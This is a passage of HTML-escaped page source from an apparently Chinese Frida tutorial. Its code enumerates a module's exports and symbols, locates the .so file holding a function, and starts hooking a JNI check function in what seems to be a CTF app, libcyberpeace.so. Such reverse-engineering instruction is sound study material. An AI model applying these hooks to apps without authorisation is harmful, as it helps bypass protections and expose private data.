&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="c1"&gt;//{&amp;#34;type&amp;#34;:&amp;#34;function&amp;#34;,&amp;#34;name&amp;#34;:&amp;#34;JNI_OnLoad&amp;#34;,&amp;#34;address&amp;#34;:&amp;#34;0xc68995f1&amp;#34;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;: &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// 列举某个module的Symbol函数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;frida_Module&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;Java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;perform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;hooks&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;libc.so&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;Symbol&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;hooks&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;enumerateSymbols&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;Symbol&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;isGlobal:&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;Symbol&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;isGlobal&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;type:&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;Symbol&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;section:&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Symbol&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;section&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;name:&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;Symbol&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;address:&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;Symbol&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// 定位so中的函数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;findFuncInWitchSo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;funcName&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;modules&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;enumerateModules&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;modules&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;module&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;modules&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;_symbols&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;enumerateSymbols&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;j&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;j&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;_symbols&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;j&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;_symbol&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;_symbols&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_symbol&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nx"&gt;funcName&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_symbol&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;_exports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;enumerateExports&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;j&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;j&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;_exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;j&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;_export&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;_exports&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;j&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_export&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nx"&gt;funcName&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_export&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;findFuncInWitchSo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;strcat&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;//libc.so {&amp;#34;type&amp;#34;:&amp;#34;function&amp;#34;,&amp;#34;name&amp;#34;:&amp;#34;strcat&amp;#34;,&amp;#34;address&amp;#34;:&amp;#34;0x7bc0e0322c&amp;#34;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h1 id="3-hook-so"&gt;3. hook so&lt;/h1&gt;
&lt;h2 id="31-hook导出函数symbols函数"&gt;3.1 hook导出函数&amp;amp;symbols函数&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;hook_native&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;[*] Starting Hook Script.&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;so_base_address&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;findBaseAddress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;libcyberpeace.so&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;so_base_address is: &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;so_base_address&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;so_base_address&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;string_with_jni_addr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;findExportByName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;libcyberpeace.so&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;Java_com_testjava_jack_pingan2_cyberpeace_CheckString&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;string_with_jni_addr is: &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;string_with_jni_addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;Interceptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;attach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;string_with_jni_addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;onEnter&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;string_with_jni args: &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getEnv&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;getStringUtfChars&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;readCString&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;onLeave&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;retval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;[*] 原始的So层函数返回值是:&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;retval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
